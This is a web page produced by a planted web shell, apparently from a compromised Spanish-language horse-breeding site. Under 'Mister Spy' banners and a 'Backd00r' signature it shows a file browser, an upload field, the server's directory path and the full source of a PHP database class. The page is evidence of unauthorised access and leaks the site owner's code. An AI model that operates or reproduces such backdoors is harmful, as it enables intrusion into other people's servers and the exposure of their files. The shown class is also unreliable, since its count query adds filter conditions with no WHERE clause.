Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.premiosfuncionales.php

<?php 

require_once('class.dbaccess.php');
require_once('class.premiofuncional.php');
require_once('class.filter.php');
require_once('class.page.php');

class PremiosFuncionales extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if (isset($filter['Nombre']) && $filter['Nombre'] != '')
			$sql.= " AND Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		if (isset($filter['Final']) && $filter['Final'] != '')
			$sql.= " AND Final = '" . DB::StringUnquoted($filter['Final']) . "'";
		
		return $sql;
	}


	public function GetPagesCount(Page $oPage, array $filter = NULL)
	{	
		$Count = $this->GetCountRows($filter);

		$Count = $Count / $oPage->Size;
		
		return ceil($Count);
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosFuncionales";
		$sql.= " WHERE 1";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY IdPremio ASC";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oPremioFuncional = new PremioFuncional();
			$oPremioFuncional->ParseFromArray($oRow);
			
			array_push($arr, $oPremioFuncional);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetById($IdPremio)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosFuncionales";
		$sql.= " WHERE IdPremio = " . DB::Number($IdPremio);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oPremioFuncional = new PremioFuncional();
		$oPremioFuncional->ParseFromArray($oRow);
		
		return $oPremioFuncional;		
	}
	

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPremiosFuncionales";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat